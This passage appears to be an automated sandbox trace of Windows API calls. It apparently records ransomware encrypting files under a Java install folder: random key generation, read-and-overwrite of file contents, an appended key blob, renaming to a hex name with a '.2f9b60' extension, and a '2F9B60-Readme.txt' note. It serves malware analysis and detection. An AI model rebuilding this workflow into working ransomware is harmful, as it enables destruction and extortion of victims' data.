ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0226.691] wcscmp (_String1="win32_LinkNoDrop32x32.gif", _String2=".") returned 1 [0226.691] wcscmp (_String1="win32_LinkNoDrop32x32.gif", _String2="..") returned 1 [0226.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4315ffe0 [0226.692] wcscpy (in: _Dest=0x4315ffe0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0226.692] wcscat (in: _Dest=0x4315ffe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0226.692] wcscat (in: _Dest=0x4315ffe0, _Source="win32_LinkNoDrop32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" [0226.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4315ffe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d24 [0226.692] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0226.692] wcscmp (_String1="win32_MoveDrop32x32.gif", _String2=".") returned 1 [0226.692] wcscmp (_String1="win32_MoveDrop32x32.gif", _String2="..") returned 1 [0226.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43182a40 [0226.693] wcscpy (in: _Dest=0x43182a40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0226.693] wcscat (in: _Dest=0x43182a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0226.693] wcscat (in: _Dest=0x43182a40, _Source="win32_MoveDrop32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" [0226.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d20 [0226.693] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0226.693] wcscmp (_String1="win32_MoveNoDrop32x32.gif", _String2=".") returned 1 [0226.693] wcscmp (_String1="win32_MoveNoDrop32x32.gif", _String2="..") returned 1 [0226.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4315ebf0 [0226.694] wcscpy (in: _Dest=0x4315ebf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0226.694] wcscat (in: _Dest=0x4315ebf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0226.694] wcscat (in: _Dest=0x4315ebf0, _Source="win32_MoveNoDrop32x32.gif" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" [0226.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4315ebf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d18 [0226.694] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 0 [0226.695] FindClose (in: hFindFile=0x1cd9c9d0 | out: hFindFile=0x1cd9c9d0) returned 1 [0226.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aa40) returned 1 [0226.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0226.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0226.697] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0226.697] FindClose (in: hFindFile=0x1cd9d190 | out: hFindFile=0x1cd9d190) returned 1 [0226.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027fb30) returned 1 [0226.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e5d0) returned 1 [0226.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cc70) returned 1 Thread: id = 2080 os_tid = 0x139c [0138.388] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javafx.properties")) returned 0x20 [0139.760] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties", dwFileAttributes=0x20) returned 1 [0140.819] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javafx.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0143.088] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x36b2fd60 | out: lpFileSize=0x36b2fd60*=29) returned 1 [0143.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0143.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7820 [0143.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0143.088] NtQuerySystemTime (in: CurrentTime=0x36b2fc20 | out: CurrentTime=0x36b2fc20*=132462177483322000) returned 0x0 [0143.088] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x1ece0a5c [0143.088] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x2c146ac2 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x37ae6975 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0xe44dba2 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0xe48a543 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x10a158f [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x185f08fd [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x42ae70d [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x24f29397 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x55834547 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x21ad5257 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x10d7fa50 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x7ee4610b [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x45cad58 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x21d035a1 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0xb44fea5 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x372d7130 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x74716a15 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x780e8dcb [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x2f0eb856 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x738de427 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x78bd7c9c [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x34295f56 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x777ff556 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x697d6f5b [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x28b40918 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x70f81c [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x1fee848 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x3e2109a2 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x65bd8e4d [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x5158d166 [0143.089] RtlRandomEx (in: Seed=0x36b2fc10 | out: Seed=0x36b2fc10) returned 0x6d54f09e [0143.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0143.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0143.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7910 [0143.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0143.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0143.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0143.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0143.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0143.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0143.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0143.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42353cc0 [0143.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423578d0 [0143.098] ReadFile (in: hFile=0x1ac0, lpBuffer=0x42353cc0, nNumberOfBytesToRead=0x1d, lpNumberOfBytesRead=0x36b2fc10, lpOverlapped=0x0 | out: lpBuffer=0x42353cc0*, lpNumberOfBytesRead=0x36b2fc10*=0x1d, lpOverlapped=0x0) returned 1 [0143.100] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.100] WriteFile (in: hFile=0x1ac0, lpBuffer=0x423578d0*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x36b2fc14, lpOverlapped=0x0 | out: lpBuffer=0x423578d0*, lpNumberOfBytesWritten=0x36b2fc14*=0x1d, lpOverlapped=0x0) returned 1 [0143.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0143.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3a0 [0143.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3a0) returned 1 [0143.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423578d0) returned 1 [0143.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42353cc0) returned 1 [0143.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0143.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0143.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f5b0 [0143.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0143.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0143.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3a0 [0143.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3a0) returned 1 [0143.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fbf0 [0143.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3a0 [0143.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3d0 [0143.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3d0) returned 1 [0143.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0143.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0143.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x166f20 [0143.487] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.488] WriteFile (in: hFile=0x1ac0, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x36b2fd30, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x36b2fd30*=0x114, lpOverlapped=0x0) returned 1 [0143.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0143.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0143.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202674a0 [0143.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0143.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0143.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0143.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x42059ce0 [0143.704] sprintf (in: _Dest=0x42059ce0, _Format="%c%c" | out: _Dest="32") returned 2 [0143.704] sprintf (in: _Dest=0x42059ce2, _Format="%c%c" | out: _Dest="4f") returned 2 [0143.704] sprintf (in: _Dest=0x42059ce4, _Format="%c%c" | out: _Dest="be") returned 2 [0143.704] sprintf (in: _Dest=0x42059ce6, _Format="%c%c" | out: _Dest="9f") returned 2 [0143.704] sprintf (in: _Dest=0x42059ce8, _Format="%c%c" | out: _Dest="00") returned 2 [0143.704] sprintf (in: _Dest=0x42059cea, _Format="%c%c" | out: _Dest="54") returned 2 [0143.704] sprintf (in: _Dest=0x42059cec, _Format="%c%c" | out: _Dest="83") returned 2 [0143.704] sprintf (in: _Dest=0x42059cee, _Format="%c%c" | out: _Dest="c1") returned 2 [0143.704] sprintf (in: _Dest=0x42059cf0, _Format="%c%c" | out: _Dest="97") returned 2 [0143.704] sprintf (in: _Dest=0x42059cf2, _Format="%c%c" | out: _Dest="df") returned 2 [0143.704] sprintf (in: _Dest=0x42059cf4, _Format="%c%c" | out: _Dest="b4") returned 2 [0143.704] sprintf (in: _Dest=0x42059cf6, _Format="%c%c" | out: _Dest="5f") returned 2 [0143.704] sprintf (in: _Dest=0x42059cf8, _Format="%c%c" | out: _Dest="19") returned 2 [0143.704] sprintf (in: _Dest=0x42059cfa, _Format="%c%c" | out: _Dest="68") returned 2 [0143.704] sprintf (in: _Dest=0x42059cfc, _Format="%c%c" | out: _Dest="1f") returned 2 [0143.704] sprintf (in: _Dest=0x42059cfe, _Format="%c%c" | out: _Dest="7d") returned 2 [0143.704] sprintf (in: _Dest=0x42059d00, _Format="%c%c" | out: _Dest="3e") returned 2 [0143.705] sprintf (in: _Dest=0x42059d02, _Format="%c%c" | out: _Dest="fa") returned 2 [0143.705] sprintf (in: _Dest=0x42059d04, _Format="%c%c" | out: _Dest="e6") returned 2 [0143.705] sprintf (in: _Dest=0x42059d06, _Format="%c%c" | out: _Dest="db") returned 2 [0143.705] sprintf (in: _Dest=0x42059d08, _Format="%c%c" | out: _Dest="42") returned 2 [0143.705] sprintf (in: _Dest=0x42059d0a, _Format="%c%c" | out: _Dest="f2") returned 2 [0143.705] sprintf (in: _Dest=0x42059d0c, _Format="%c%c" | out: _Dest="e6") returned 2 [0143.705] sprintf (in: _Dest=0x42059d0e, _Format="%c%c" | out: _Dest="57") returned 2 [0143.705] sprintf (in: _Dest=0x42059d10, _Format="%c%c" | out: _Dest="d4") returned 2 [0143.705] sprintf (in: _Dest=0x42059d12, _Format="%c%c" | out: _Dest="ea") returned 2 [0143.705] sprintf (in: _Dest=0x42059d14, _Format="%c%c" | out: _Dest="aa") returned 2 [0143.705] sprintf (in: _Dest=0x42059d16, _Format="%c%c" | out: _Dest="ab") returned 2 [0143.705] sprintf (in: _Dest=0x42059d18, _Format="%c%c" | out: _Dest="16") returned 2 [0143.705] sprintf (in: _Dest=0x42059d1a, _Format="%c%c" | out: _Dest="2d") returned 2 [0143.705] sprintf (in: _Dest=0x42059d1c, _Format="%c%c" | out: _Dest="8d") returned 2 [0143.705] sprintf (in: _Dest=0x42059d1e, _Format="%c%c" | out: _Dest="03") returned 2 [0143.705] sprintf (in: _Dest=0x42059d20, _Format="%c%c" | out: _Dest="1f") returned 2 [0143.705] sprintf (in: _Dest=0x42059d22, _Format="%c%c" | out: _Dest="8c") returned 2 [0143.705] RtlInitAnsiString (in: DestinationString=0x36b2fda8, SourceString="324fbe9f005483c197dfb45f19681f7d3efae6db42f2e657d4eaaaab162d8d031f8c" | out: DestinationString="324fbe9f005483c197dfb45f19681f7d3efae6db42f2e657d4eaaaab162d8d031f8c") [0143.705] RtlAnsiStringToUnicodeString (in: DestinationString=0x36b2fd78, SourceString="324fbe9f005483c197dfb45f19681f7d3efae6db42f2e657d4eaaaab162d8d031f8c", AllocateDestinationString=1 | out: DestinationString="324fbe9f005483c197dfb45f19681f7d3efae6db42f2e657d4eaaaab162d8d031f8c") returned 0x0 [0143.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205072b0 [0143.706] RtlFreeAnsiString (AnsiString="3") [0143.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0143.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0143.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0143.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0143.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3a0) returned 1 [0143.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0143.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0143.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7820) returned 1 [0143.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0143.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7910) returned 1 [0143.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050ab60 [0143.708] wcscat (in: _Dest=0x2050ab60, _Source="324fbe9f005483c19" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\324fbe9f005483c19") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\324fbe9f005483c19" [0143.708] wcscat (in: _Dest=0x2050ab60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\324fbe9f005483c19.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\324fbe9f005483c19.2f9b60" [0143.708] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\324fbe9f005483c19.2f9b60", NtPathName=0x36b2fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\324fbe9f005483c19.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050bb60 [0143.708] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x36b2fdf0, FileInformation=0x2050bb60, Length=0x9a, FileInformationClass=0xa) returned 0x0 [0144.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bb60) returned 1 [0144.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3bf0) returned 1 [0144.048] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x36b2fdb8, FileInformation=0x36b2fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36b2fdb8, FileInformation=0x36b2fdc8) returned 0x0 [0144.048] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x36b2fdb8, FileInformation=0x36b2fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ab60) returned 1 [0144.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205072b0) returned 1 [0144.066] FlushFileBuffers (hFile=0x1ac0) returned 1 [0144.072] CloseHandle (hObject=0x1ac0) returned 1 [0144.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0144.080] wcscpy (in: _Dest=0x1ce59e30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.080] wcscat (in: _Dest=0x1ce59e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.080] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0147.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504b90) returned 1 Thread: id = 2081 os_tid = 0x13a0 [0138.394] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar")) returned 0x20 [0139.874] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar", dwFileAttributes=0x20) returned 1 [0140.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14fc [0143.100] GetFileSizeEx (in: hFile=0x14fc, lpFileSize=0x36aafae0 | out: lpFileSize=0x36aafae0*=892183) returned 1 [0143.100] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xd9d13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.100] ReadFile (in: hFile=0x14fc, lpBuffer=0x36aafa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36aafaa8, lpOverlapped=0x0 | out: lpBuffer=0x36aafa60*, lpNumberOfBytesRead=0x36aafaa8*=0x4, lpOverlapped=0x0) returned 1 [0143.102] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0143.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0143.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 